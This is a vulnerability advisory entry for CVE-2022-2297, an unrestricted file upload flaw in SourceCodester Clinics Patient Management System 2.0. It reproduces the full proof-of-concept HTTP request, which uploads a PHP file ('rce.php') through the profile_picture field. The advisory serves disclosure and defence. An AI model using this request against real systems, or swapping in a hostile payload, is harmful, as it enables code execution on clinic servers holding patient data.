A vulnerability, which was classified as critical, was found in SourceCodester Clinics Patient Management System 2.0 (Hospitality Software). Affected is an unknown part of the file /pms/update_user.php?user_id=1. The manipulation of the argument profile_picture with the input value <?php phpinfo();?> leads to a unrestricted upload vulnerability. CWE is classifying the issue as CWE-434. The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was presented 07/04/2022. The advisory is available at github.com. This vulnerability is traded as CVE-2022-2297. Technical details and a public exploit are known. This vulnerability is assigned to T1608.002 by the MITRE ATT&CK project.

The exploit is shared for download at github.com. It is declared as proof-of-concept. The code used by the exploit is:

POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close

------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="hidden_id"

1
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="display_name"

Administrator
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="profile_picture"; filename="rce.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="save_user"


------WebKitFormBoundaryHTbuuF5mdaA9K4Fw--

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Productinfo

Type

• Hospitality Software

Vendor

• SourceCodester

Name

• Clinics Patient Management System

Version

• 2.0

License

• free

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Accepted

• Submit #40500: Clinic's Patient Management System 2.0 Unrestricted file upload (RCE) (by cyberthoth)

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